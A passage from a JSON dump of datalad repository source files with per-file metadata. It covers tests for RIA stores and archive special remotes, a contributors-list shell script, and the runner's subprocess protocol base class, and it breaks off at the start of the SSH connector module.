#'git@github.com:datalad/testrepo_gh.git',\\n ]):\\n ds = install(source=url, path=opj(path, \\\"clone%i\\\" % i), recursive=True)\\n eq_(len(ds.subdatasets(recursive=True, state='present')), 2)\\n\"\n },\n {\n \"alpha_fraction\": 0.6244897842407227,\n \"alphanum_fraction\": 0.6270871758460999,\n \"avg_line_length\": 33.11392593383789,\n \"blob_id\": \"46c819857730e4d16d5afb345a4a9f12ed793704\",\n \"content_id\": \"35fbae5888126257e277102a374a3b34c75e343e\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2695,\n \"license_type\": \"permissive\",\n \"max_line_length\": 79,\n \"num_lines\": 79,\n \"path\": \"/datalad/distributed/tests/test_ria.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"Test workflow (pieces) for RIA stores\\\"\\\"\\\"\\n\\nfrom datalad.api import (\\n Dataset,\\n clone,\\n)\\nfrom datalad.tests.utils_pytest import (\\n DEFAULT_REMOTE,\\n assert_equal,\\n assert_result_count,\\n assert_true,\\n has_symlink_capability,\\n skip_if,\\n skip_if_on_windows,\\n with_tempfile,\\n with_tree,\\n)\\nfrom datalad.utils import Path\\n\\n\\n@skip_if_on_windows # currently all tests re RIA/ORA don't run on windows\\n@skip_if(cond=not has_symlink_capability(),\\n msg=\\\"skip testing ephemeral clone w/o symlink capabilities\\\")\\n@with_tree({'file1.txt': 'some',\\n 'sub': {'other.txt': 'other'}})\\n@with_tempfile\\n@with_tempfile\\ndef test_ephemeral(ds_path=None, store_path=None, clone_path=None):\\n\\n dspath = Path(ds_path)\\n store = Path(store_path)\\n file_test = Path('file1.txt')\\n file_testsub = Path('sub') / 'other.txt'\\n\\n\\n # create the original dataset\\n ds = Dataset(dspath)\\n ds.create(force=True)\\n ds.save()\\n\\n # put into store:\\n ds.create_sibling_ria(\\\"ria+{}\\\".format(store.as_uri()), \\\"riastore\\\",\\n new_store_ok=True)\\n ds.push(to=\\\"riastore\\\", data=\\\"anything\\\")\\n\\n # now, get an ephemeral clone from the RIA store:\\n eph_clone = clone('ria+{}#{}'.format(store.as_uri(), ds.id), clone_path,\\n reckless=\\\"ephemeral\\\")\\n\\n # ephemeral clone was properly linked (store has bare repos!):\\n clone_annex = (eph_clone.repo.dot_git / 'annex')\\n assert_true(clone_annex.is_symlink())\\n assert_true(clone_annex.resolve().samefile(\\n store / ds.id[:3] / ds.id[3:] / 'annex'))\\n if not eph_clone.repo.is_managed_branch():\\n # TODO: We can't properly handle adjusted branch yet\\n # we don't need to get files in order to access them:\\n assert_equal((eph_clone.pathobj / file_test).read_text(), \\\"some\\\")\\n assert_equal((eph_clone.pathobj / file_testsub).read_text(), \\\"other\\\")\\n\\n # can we unlock those files?\\n eph_clone.unlock(file_test)\\n # change content\\n (eph_clone.pathobj / file_test).write_text(\\\"new content\\\")\\n eph_clone.save()\\n\\n # new content should already be in store\\n # (except the store doesn't know yet)\\n res = eph_clone.repo.fsck(remote=\\\"riastore-storage\\\", fast=True)\\n assert_equal(len(res), 2)\\n assert_result_count(res, 1, success=True, file=file_test.as_posix())\\n assert_result_count(res, 1, success=True, file=file_testsub.as_posix())\\n\\n # push back git history\\n eph_clone.push(to=DEFAULT_REMOTE, data=\\\"nothing\\\")\\n\\n # get an update in origin\\n ds.update(merge=True, reobtain_data=True)\\n assert_equal((ds.pathobj / file_test).read_text(), \\\"new content\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.6849641799926758,\n \"alphanum_fraction\": 0.6849641799926758,\n \"avg_line_length\": 37.09090805053711,\n \"blob_id\": \"50e2d210dcdf8fbdec03e517894af3afe88b7890\",\n \"content_id\": \"d0febed7b18a7d019da3e22be141e41f56c34bc8\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 419,\n \"license_type\": \"permissive\",\n \"max_line_length\": 77,\n \"num_lines\": 11,\n \"path\": \"/tools/mkcontrib\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/sh\\n\\necho \\\"The following people have contributed to DataLad:\\\" > CONTRIBUTORS\\necho >> CONTRIBUTORS\\n\\n# note: some exclusions to clean up botched git author tags that got fixed in\\n# later commits, hopefully we'll be more careful about this in the future\\ngit log --format='%aN' | sort | uniq \\\\\\n | grep -E -v \\\\\\n -e 'Mr.Nobody' -e unknown -e 'DataLad Tester' -e '^blah' -e Yarchael \\\\\\n | sort >> CONTRIBUTORS\\n\"\n },\n {\n \"alpha_fraction\": 0.6110148429870605,\n \"alphanum_fraction\": 0.6127475500106812,\n \"avg_line_length\": 36.58139419555664,\n \"blob_id\": \"649a8044ecd255e21df43d4b6a6802d9f8736973\",\n \"content_id\": \"1526d9ce970d2e190f3510d8dda329e0f1985a54\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 8080,\n \"license_type\": \"permissive\",\n \"max_line_length\": 106,\n \"num_lines\": 215,\n \"path\": \"/datalad/runner/protocol.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Base class of a protocol to be used with the DataLad runner\\n\\\"\\\"\\\"\\n\\nfrom __future__ import annotations\\n\\nimport logging\\nimport subprocess\\nimport warnings\\nfrom collections import deque\\nfrom locale import getpreferredencoding\\nfrom typing import (\\n Any,\\n Optional,\\n)\\n\\nfrom datalad.utils import ensure_unicode\\n\\nfrom .exception import CommandError\\n\\nlgr = logging.getLogger('datalad.runner.protocol')\\n\\n\\nclass GeneratorMixIn:\\n \\\"\\\"\\\" Protocol mix in that will instruct runner.run to return a generator\\n\\n When this class is in the parent of a protocol given to runner.run (and\\n some other functions/methods) the run-method will return a `Generator`,\\n which yields whatever the protocol callbacks send to the `Generator`,\\n via the `send_result`-method of this class.\\n\\n This allows to use runner.run() in constructs like:\\n\\n for result in runner.run(...):\\n # do something, for example write to stdin of the subprocess\\n\\n \\\"\\\"\\\"\\n def __init__(self):\\n self.result_queue = deque()\\n\\n def send_result(self, result):\\n self.result_queue.append(result)\\n\\n\\nclass WitlessProtocol:\\n \\\"\\\"\\\"Subprocess communication protocol base class for `run_async_cmd`\\n\\n This class implements basic subprocess output handling. Derived classes\\n like `StdOutCapture` should be used for subprocess communication that need\\n to capture and return output. In particular, the `pipe_data_received()`\\n method can be overwritten to implement \\\"online\\\" processing of process\\n output.\\n\\n This class defines a default return value setup that causes\\n `run_async_cmd()` to return a 2-tuple with the subprocess's exit code\\n and a list with bytestrings of all captured output streams.\\n \\\"\\\"\\\"\\n\\n proc_out = False\\n proc_err = False\\n\\n def __init__(self, done_future: Any = None, encoding: Optional[str] = None) -> None:\\n \\\"\\\"\\\"\\n Parameters\\n ----------\\n done_future: Any\\n Ignored parameter, kept for backward compatibility (DEPRECATED)\\n encoding : str\\n Encoding to be used for process output bytes decoding. By default,\\n the preferred system encoding is guessed.\\n \\\"\\\"\\\"\\n\\n if done_future is not None:\\n warnings.warn(\\\"`done_future` argument is ignored \\\"\\n \\\"and will be removed in a future release\\\",\\n DeprecationWarning)\\n\\n self.fd_infos: dict[int, tuple[str, Optional[bytearray]]] = {}\\n\\n self.process: Optional[subprocess.Popen] = None\\n self.stdout_fileno = 1\\n self.stderr_fileno = 2\\n\\n # capture output in bytearrays while the process is running\\n self.fd_infos[self.stdout_fileno] = (\\\"stdout\\\", bytearray()) if self.proc_out else (\\\"stdout\\\", None)\\n self.fd_infos[self.stderr_fileno] = (\\\"stderr\\\", bytearray()) if self.proc_err else (\\\"stderr\\\", None)\\n\\n super().__init__()\\n self.encoding = encoding or getpreferredencoding(do_setlocale=False)\\n\\n self._log_outputs = False\\n if lgr.isEnabledFor(5):\\n try:\\n from datalad import cfg\\n self._log_outputs = cfg.getbool('datalad.log', 'outputs', default=False)\\n except ImportError:\\n pass\\n self._log = self._log_summary\\n else:\\n self._log = self._log_nolog\\n\\n def _log_nolog(self, fd: int, data: str | bytes) -> None:\\n pass\\n\\n def _log_summary(self, fd: int, data: str | bytes) -> None:\\n fd_name = self.fd_infos[fd][0]\\n assert self.process is not None\\n lgr.log(5, 'Read %i bytes from %i[%s]%s',\\n len(data), self.process.pid, fd_name, ':' if self._log_outputs else '')\\n if self._log_outputs:\\n log_data = ensure_unicode(data)\\n # The way we log is to stay consistent with Runner.\\n # TODO: later we might just log in a single entry, without\\n # fd_name prefix\\n lgr.log(5, \\\"%s| %s \\\", fd_name, log_data)\\n\\n def connection_lost(self, exc: Optional[BaseException]) -> None:\\n \\\"\\\"\\\"Called when the connection is lost or closed.\\n\\n The argument is an exception object or None (the latter\\n meaning a regular EOF is received or the connection was\\n aborted or closed).\\n \\\"\\\"\\\"\\n\\n def connection_made(self, process: subprocess.Popen) -> None:\\n self.process = process\\n lgr.log(8, 'Process %i started', self.process.pid)\\n\\n def pipe_connection_lost(self, fd: int, exc: Optional[BaseException]) -> None:\\n \\\"\\\"\\\"Called when a file descriptor associated with the child process is\\n closed.\\n\\n fd is the int file descriptor that was closed.\\n \\\"\\\"\\\"\\n\\n def pipe_data_received(self, fd: int, data: bytes) -> None:\\n self._log(fd, data)\\n # Store received output if stream was to be captured.\\n fd_name, buffer = self.fd_infos[fd]\\n if buffer is not None:\\n buffer.extend(data)\\n\\n def timeout(self, fd: Optional[int]) -> bool:\\n \\\"\\\"\\\"\\n Called if the timeout parameter to WitlessRunner.run()\\n is not `None` and a process file descriptor could not\\n be read (stdout or stderr) or not be written (stdin)\\n within the specified time in seconds, or if waiting for\\n a subprocess to exit takes longer than the specified time.\\n\\n stdin timeouts are only caught when the type of the `stdin`-\\n parameter to WitlessRunner.run() is either a `Queue`,\\n a `str`, or `bytes`. `Stdout` or `stderr` timeouts\\n are only caught of proc_out and proc_err are `True` in the\\n protocol class. Process wait timeouts are\\n always caught if `timeout` is not `None`. In this case the\\n `fd`-argument will be `None`.\\n\\n fd:\\n The file descriptor that timed out or `None` if no\\n progress was made at all, i.e. no stdin element was\\n enqueued and no output was read from either stdout\\n or stderr.\\n\\n return:\\n If the callback returns `True`, the file descriptor\\n (if any was given) will be closed and no longer monitored.\\n If the return values is anything else than `True`,\\n the file-descriptor will be monitored further\\n and additional timeouts might occur indefinitely.\\n If `None` was given, i.e. a process runtime-timeout\\n was detected, and `True` is returned, the process\\n will be terminated.\\n \\\"\\\"\\\"\\n return False\\n\\n def _prepare_result(self) -> dict:\\n \\\"\\\"\\\"Prepares the final result to be returned to the runner\\n\\n Note for derived classes overwriting this method:\\n\\n The result must be a dict with keys that do not unintentionally\\n conflict with the API of CommandError, as the result dict is passed to\\n this exception class as kwargs on error. The Runner will overwrite\\n 'cmd' and 'cwd' on error, if they are present in the result.\\n \\\"\\\"\\\"\\n assert self.process is not None\\n return_code = self.process.poll()\\n if return_code is None:\\n raise CommandError(\\n msg=f\\\"Got None as a return_code for the process {self.process.pid}\\\")\\n lgr.log(\\n 8,\\n 'Process %i exited with return code %i',\\n self.process.pid, return_code)\\n # give captured process output back to the runner as string(s)\\n results: dict[str, Any] = {\\n name: (\\n bytes(byt).decode(self.encoding)\\n if byt is not None\\n else '')\\n for name, byt in self.fd_infos.values()\\n }\\n results['code'] = return_code\\n return results\\n\\n def process_exited(self) -> None:\\n pass\\n\"\n },\n {\n \"alpha_fraction\": 0.5562422871589661,\n \"alphanum_fraction\": 0.5636588335037231,\n \"avg_line_length\": 34.130435943603516,\n \"blob_id\": \"e34127a117616c4b2a7d3dd5b4229a3569f8b861\",\n \"content_id\": \"60df60b0148b41cea6e33fa504efd5bc7c01f099\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 809,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 23,\n \"path\": \"/datalad/tests/__init__.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\nimport os\\nimport shutil\\nimport tempfile\\nfrom logging import getLogger\\n\\nlgr = getLogger(\\\"datalad.tests\\\")\\n\\n# We will delay generation of some test files/directories until they are\\n# actually used but then would remove them here\\n_TEMP_PATHS_GENERATED = []\\n\\n# Give a custom template so we could hunt them down easily\\ntempfile.template = os.path.join(tempfile.gettempdir(),\\n 'tmp-page2annex')\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5491803288459778,\n \"alphanum_fraction\": 0.5537340641021729,\n \"avg_line_length\": 29.5,\n \"blob_id\": \"672cf65890335dc9959b1e80ebd591c1b011dbf0\",\n \"content_id\": \"e21d78323f2025b33d12fe55c80a2224d5448ac6\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1098,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 36,\n \"path\": \"/datalad/tests/test__main__.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\nimport sys\\nfrom io import StringIO\\nfrom unittest.mock import patch\\n\\nfrom datalad.tests.utils_pytest import (\\n assert_equal,\\n assert_raises,\\n)\\n\\nfrom .. import (\\n __main__,\\n __version__,\\n)\\n\\n\\n@patch('sys.stdout', new_callable=StringIO)\\ndef test_main_help(stdout=None):\\n assert_raises(SystemExit, __main__.main, ['__main__.py', '--help'])\\n assert(\\n stdout.getvalue().startswith(\\n \\\"Usage: %s -m datalad [OPTIONS] <file> [ARGS]\\\\n\\\" % sys.executable\\n ))\\n\\n@patch('sys.stdout', new_callable=StringIO)\\ndef test_main_version(stdout=None):\\n assert_raises(SystemExit, __main__.main, ['__main__.py', '--version'])\\n assert_equal(stdout.getvalue().rstrip(), \\\"datalad %s\\\" % __version__)\\n\"\n },\n {\n \"alpha_fraction\": 0.5277044773101807,\n \"alphanum_fraction\": 0.5343008041381836,\n \"avg_line_length\": 25.13793182373047,\n \"blob_id\": \"38c60f5d2d3733b2ceef37aad4aa5970a2752075\",\n \"content_id\": \"7c787e200ad95aa5eb613fbcfe2963336641d4a8\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 758,\n \"license_type\": \"permissive\",\n \"max_line_length\": 79,\n \"num_lines\": 29,\n \"path\": \"/datalad/distributed/tests/test_create_sibling_github.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test create publication target on GitHub\\\"\\\"\\\"\\n\\n\\nfrom datalad.api import create_sibling_github\\nfrom datalad.tests.utils_pytest import (\\n skip_if_no_network,\\n with_tempfile,\\n)\\n\\nfrom .test_create_sibling_ghlike import check4real\\n\\n\\n@skip_if_no_network\\n@with_tempfile\\ndef test_github(path=None):\\n check4real(\\n create_sibling_github,\\n path,\\n 'github',\\n 'https://api.github.com',\\n 'repos/dataladtester/{reponame}',\\n )\\n\"\n },\n {\n \"alpha_fraction\": 0.6133614182472229,\n \"alphanum_fraction\": 0.6329728960990906,\n \"avg_line_length\": 35.864864349365234,\n \"blob_id\": \"387cecdd9d58041c961f766d5c7a7e99a67db821\",\n \"content_id\": \"791bc06351ec4083a4dd05259397d02a6c41fc9e\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 10912,\n \"license_type\": \"permissive\",\n \"max_line_length\": 116,\n \"num_lines\": 296,\n \"path\": \"/datalad/customremotes/tests/test_archives.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Tests for customremotes archives providing dl+archive URLs handling\\\"\\\"\\\"\\n\\nimport glob\\nimport logging\\nimport os\\nimport os.path as op\\nimport sys\\nfrom time import sleep\\nfrom unittest.mock import patch\\n\\nfrom datalad.api import Dataset\\nfrom datalad.cmd import (\\n GitWitlessRunner,\\n KillOutput,\\n StdOutErrCapture,\\n WitlessRunner,\\n)\\nfrom datalad.support.exceptions import CommandError\\n\\nfrom ...consts import ARCHIVES_SPECIAL_REMOTE\\nfrom ...support.annexrepo import AnnexRepo\\nfrom ...tests.test_archives import (\\n fn_archive_obscure,\\n fn_archive_obscure_ext,\\n fn_in_archive_obscure,\\n)\\nfrom ...tests.utils_pytest import (\\n abspath,\\n assert_equal,\\n assert_false,\\n assert_not_equal,\\n assert_not_in,\\n assert_raises,\\n assert_true,\\n chpwd,\\n eq_,\\n in_,\\n known_failure_githubci_win,\\n ok_,\\n serve_path_via_http,\\n swallow_logs,\\n with_tempfile,\\n with_tree,\\n)\\nfrom ...utils import unlink\\nfrom ..archives import (\\n ArchiveAnnexCustomRemote,\\n link_file_load,\\n)\\n\\n\\n# TODO: with_tree ATM for archives creates this nested top directory\\n# matching archive name, so it will be a/d/test.dat ... we don't want that probably\\n@known_failure_githubci_win\\n@with_tree(\\n tree=(('a.tar.gz', {'d': {fn_in_archive_obscure: '123'}}),\\n ('simple.txt', '123'),\\n (fn_archive_obscure_ext, (('d', ((fn_in_archive_obscure, '123'),)),)),\\n (fn_archive_obscure, '123')))\\n@with_tempfile()\\ndef test_basic_scenario(d=None, d2=None):\\n fn_archive, fn_extracted = fn_archive_obscure_ext, fn_archive_obscure\\n annex = AnnexRepo(d, backend='MD5E')\\n annex.init_remote(\\n ARCHIVES_SPECIAL_REMOTE,\\n ['encryption=none', 'type=external', 'externaltype=%s' % ARCHIVES_SPECIAL_REMOTE,\\n 'autoenable=true'\\n ])\\n assert annex.is_special_annex_remote(ARCHIVES_SPECIAL_REMOTE)\\n # We want two maximally obscure names, which are also different\\n assert(fn_extracted != fn_in_archive_obscure)\\n annex.add(fn_archive)\\n annex.commit(msg=\\\"Added tarball\\\")\\n annex.add(fn_extracted)\\n annex.commit(msg=\\\"Added the load file\\\")\\n\\n # Operations with archive remote URL\\n # this is not using this class for its actual purpose\\n # being a special remote implementation\\n # likely all this functionality should be elsewhere\\n annexcr = ArchiveAnnexCustomRemote(annex=None, path=d)\\n # few quick tests for get_file_url\\n\\n eq_(annexcr.get_file_url(archive_key=\\\"xyz\\\", file=\\\"a.dat\\\"), \\\"dl+archive:xyz#path=a.dat\\\")\\n eq_(annexcr.get_file_url(archive_key=\\\"xyz\\\", file=\\\"a.dat\\\", size=999), \\\"dl+archive:xyz#path=a.dat&size=999\\\")\\n\\n # see https://github.com/datalad/datalad/issues/441#issuecomment-223376906\\n # old style\\n eq_(annexcr._parse_url(\\\"dl+archive:xyz/a.dat#size=999\\\"), (\\\"xyz\\\", \\\"a.dat\\\", {'size': 999}))\\n eq_(annexcr._parse_url(\\\"dl+archive:xyz/a.dat\\\"), (\\\"xyz\\\", \\\"a.dat\\\", {})) # old format without size\\n # new style\\n eq_(annexcr._parse_url(\\\"dl+archive:xyz#path=a.dat&size=999\\\"), (\\\"xyz\\\", \\\"a.dat\\\", {'size': 999}))\\n eq_(annexcr._parse_url(\\\"dl+archive:xyz#path=a.dat\\\"), (\\\"xyz\\\", \\\"a.dat\\\", {})) # old format without size\\n\\n file_url = annexcr.get_file_url(\\n archive_file=fn_archive,\\n file=fn_archive.replace('.tar.gz', '') + '/d/' + fn_in_archive_obscure)\\n\\n annex.add_url_to_file(fn_extracted, file_url, ['--relaxed'])\\n annex.drop(fn_extracted)\\n\\n list_of_remotes = annex.whereis(fn_extracted, output='descriptions')\\n in_('[%s]' % ARCHIVES_SPECIAL_REMOTE, list_of_remotes)\\n\\n assert_false(annex.file_has_content(fn_extracted))\\n\\n with swallow_logs(new_level=logging.INFO) as cml:\\n annex.get(fn_extracted)\\n # Hint users to the extraction cache (and to datalad clean)\\n cml.assert_logged(msg=\\\"datalad-archives special remote is using an \\\"\\n \\\"extraction\\\", level=\\\"INFO\\\", regex=False)\\n assert_true(annex.file_has_content(fn_extracted))\\n\\n annex.rm_url(fn_extracted, file_url)\\n assert_raises(CommandError, annex.drop, fn_extracted)\\n\\n annex.add_url_to_file(fn_extracted, file_url)\\n annex.drop(fn_extracted)\\n annex.get(fn_extracted)\\n annex.drop(fn_extracted) # so we don't get from this one next\\n\\n # Let's create a clone and verify chain of getting file through the tarball\\n cloned_annex = AnnexRepo.clone(d, d2)\\n # we still need to enable manually atm that special remote for archives\\n # cloned_annex.enable_remote('annexed-archives')\\n\\n assert_false(cloned_annex.file_has_content(fn_archive))\\n assert_false(cloned_annex.file_has_content(fn_extracted))\\n cloned_annex.get(fn_extracted)\\n assert_true(cloned_annex.file_has_content(fn_extracted))\\n # as a result it would also fetch tarball\\n assert_true(cloned_annex.file_has_content(fn_archive))\\n\\n # verify that we can drop if original archive gets dropped but available online:\\n # -- done as part of the test_add_archive_content.py\\n # verify that we can't drop a file if archive key was dropped and online archive was removed or changed size! ;)\\n\\n\\n@known_failure_githubci_win\\n@with_tree(\\n tree={'a.tar.gz': {'d': {fn_in_archive_obscure: '123'}}}\\n)\\ndef test_annex_get_from_subdir(topdir=None):\\n ds = Dataset(topdir)\\n ds.create(force=True)\\n ds.save('a.tar.gz')\\n ds.add_archive_content('a.tar.gz', delete=True)\\n fpath = op.join(topdir, 'a', 'd', fn_in_archive_obscure)\\n\\n with chpwd(op.join(topdir, 'a', 'd')):\\n runner = WitlessRunner()\\n runner.run(\\n ['git', 'annex', 'drop', '--', fn_in_archive_obscure],\\n protocol=KillOutput) # run git annex drop\\n assert_false(ds.repo.file_has_content(fpath)) # and verify if file deleted from directory\\n runner.run(\\n ['git', 'annex', 'get', '--', fn_in_archive_obscure],\\n protocol=KillOutput) # run git annex get\\n assert_true(ds.repo.file_has_content(fpath)) # and verify if file got into directory\\n\\n\\ndef test_get_git_environ_adjusted():\\n gitrunner = GitWitlessRunner()\\n env = {\\\"GIT_DIR\\\": \\\"../../.git\\\", \\\"GIT_WORK_TREE\\\": \\\"../../\\\", \\\"TEST_VAR\\\": \\\"Exists\\\"}\\n\\n # test conversion of relevant env vars from relative_path to correct absolute_path\\n adj_env = gitrunner.get_git_environ_adjusted(env)\\n assert_equal(adj_env[\\\"GIT_DIR\\\"], abspath(env[\\\"GIT_DIR\\\"]))\\n assert_equal(adj_env[\\\"GIT_WORK_TREE\\\"], abspath(env[\\\"GIT_WORK_TREE\\\"]))\\n\\n # test if other environment variables passed to function returned unaltered\\n assert_equal(adj_env[\\\"TEST_VAR\\\"], env[\\\"TEST_VAR\\\"])\\n\\n # test import of sys_env if no environment passed to function\\n with patch.dict('os.environ', {'BOGUS': '123'}):\\n sys_env = gitrunner.get_git_environ_adjusted()\\n assert_equal(sys_env[\\\"BOGUS\\\"], \\\"123\\\")\\n\\n\\ndef test_no_rdflib_loaded():\\n # rely on rdflib polluting stdout to see that it is not loaded whenever we load this remote\\n # since that adds 300ms delay for no immediate use\\n runner = WitlessRunner()\\n out = runner.run(\\n [sys.executable,\\n '-c',\\n 'import datalad.customremotes.archives, sys; '\\n 'print([k for k in sys.modules if k.startswith(\\\"rdflib\\\")])'],\\n protocol=StdOutErrCapture)\\n # print cmo.out\\n assert_not_in(\\\"rdflib\\\", out['stdout'])\\n assert_not_in(\\\"rdflib\\\", out['stderr'])\\n\\n\\n@with_tree(tree=\\n {'1.tar.gz':\\n {\\n 'bu.dat': '52055957098986598349795121365535' * 10000,\\n 'bu3.dat': '8236397048205454767887168342849275422' * 10000\\n },\\n '2.tar.gz':\\n {\\n 'bu2.dat': '17470674346319559612580175475351973007892815102' * 10000\\n },\\n }\\n)\\n@serve_path_via_http()\\n@with_tempfile\\ndef check_observe_tqdm(topdir=None, topurl=None, outdir=None):\\n # just a helper to enable/use when want quickly to get some\\n # repository with archives and observe tqdm\\n from datalad.api import (\\n add_archive_content,\\n create,\\n )\\n ds = create(outdir)\\n for f in '1.tar.gz', '2.tar.gz':\\n with chpwd(outdir):\\n ds.repo.add_url_to_file(f, topurl + f)\\n ds.save(f)\\n add_archive_content(f, delete=True, drop_after=True)\\n files = glob.glob(op.join(outdir, '*'))\\n ds.drop(files) # will not drop tarballs\\n ds.repo.drop([], options=['--all', '--fast'])\\n ds.get(files)\\n ds.repo.drop([], options=['--all', '--fast'])\\n # now loop so we could play with it outside\\n print(outdir)\\n # import pdb; pdb.set_trace()\\n while True:\\n sleep(0.1)\\n\\n\\n@known_failure_githubci_win\\n@with_tempfile\\ndef test_link_file_load(tempfile=None):\\n tempfile2 = tempfile + '_'\\n\\n with open(tempfile, 'w') as f:\\n f.write(\\\"LOAD\\\")\\n\\n link_file_load(tempfile, tempfile2) # this should work in general\\n\\n ok_(os.path.exists(tempfile2))\\n\\n with open(tempfile2, 'r') as f:\\n assert_equal(f.read(), \\\"LOAD\\\")\\n\\n def inode(fname):\\n with open(fname) as fd:\\n return os.fstat(fd.fileno()).st_ino\\n\\n def stats(fname, times=True):\\n \\\"\\\"\\\"Return stats on the file which should have been preserved\\\"\\\"\\\"\\n with open(fname) as fd:\\n st = os.fstat(fd.fileno())\\n stats = (st.st_mode, st.st_uid, st.st_gid, st.st_size)\\n if times:\\n return stats + (st.st_atime, st.st_mtime)\\n else:\\n return stats\\n # despite copystat mtime is not copied. TODO\\n # st.st_mtime)\\n\\n # TODO: fix up the test to not rely on OS assumptions but rather\\n # first sense filesystem about linking support.\\n # For Yarik's Windows 10 VM test was failing under assumption that\\n # linking is not supported at all, but I guess it does.\\n if True: # on_linux or on_osx:\\n # above call should result in the hardlink\\n assert_equal(inode(tempfile), inode(tempfile2))\\n assert_equal(stats(tempfile), stats(tempfile2))\\n\\n # and if we mock absence of .link\\n def raise_AttributeError(*args):\\n raise AttributeError(\\\"TEST\\\")\\n\\n with patch('os.link', raise_AttributeError):\\n with swallow_logs(logging.WARNING) as cm:\\n link_file_load(tempfile, tempfile2) # should still work\\n ok_(\\\"failed (TEST), copying file\\\" in cm.out)\\n\\n # should be a copy (after mocked call)\\n assert_not_equal(inode(tempfile), inode(tempfile2))\\n with open(tempfile2, 'r') as f:\\n assert_equal(f.read(), \\\"LOAD\\\")\\n assert_equal(stats(tempfile, times=False), stats(tempfile2, times=False))\\n unlink(tempfile2) # TODO: next two with_tempfile\\n\"\n },\n {\n \"alpha_fraction\": 0.5832383036613464,\n \"alphanum_fraction\": 0.5857414603233337,\n \"avg_line_length\": 35.78321838378906,\n \"blob_id\": \"c56010eb455dfd623a4063161fdd2f24a672d7c1\",\n \"content_id\": \"fe6847fec38950f1cb38d2888f9b62619130f5db\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 31560,\n \"license_type\": \"permissive\",\n \"max_line_length\": 105,\n \"num_lines\": 858,\n \"path\": \"/datalad/support/sshconnector.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### 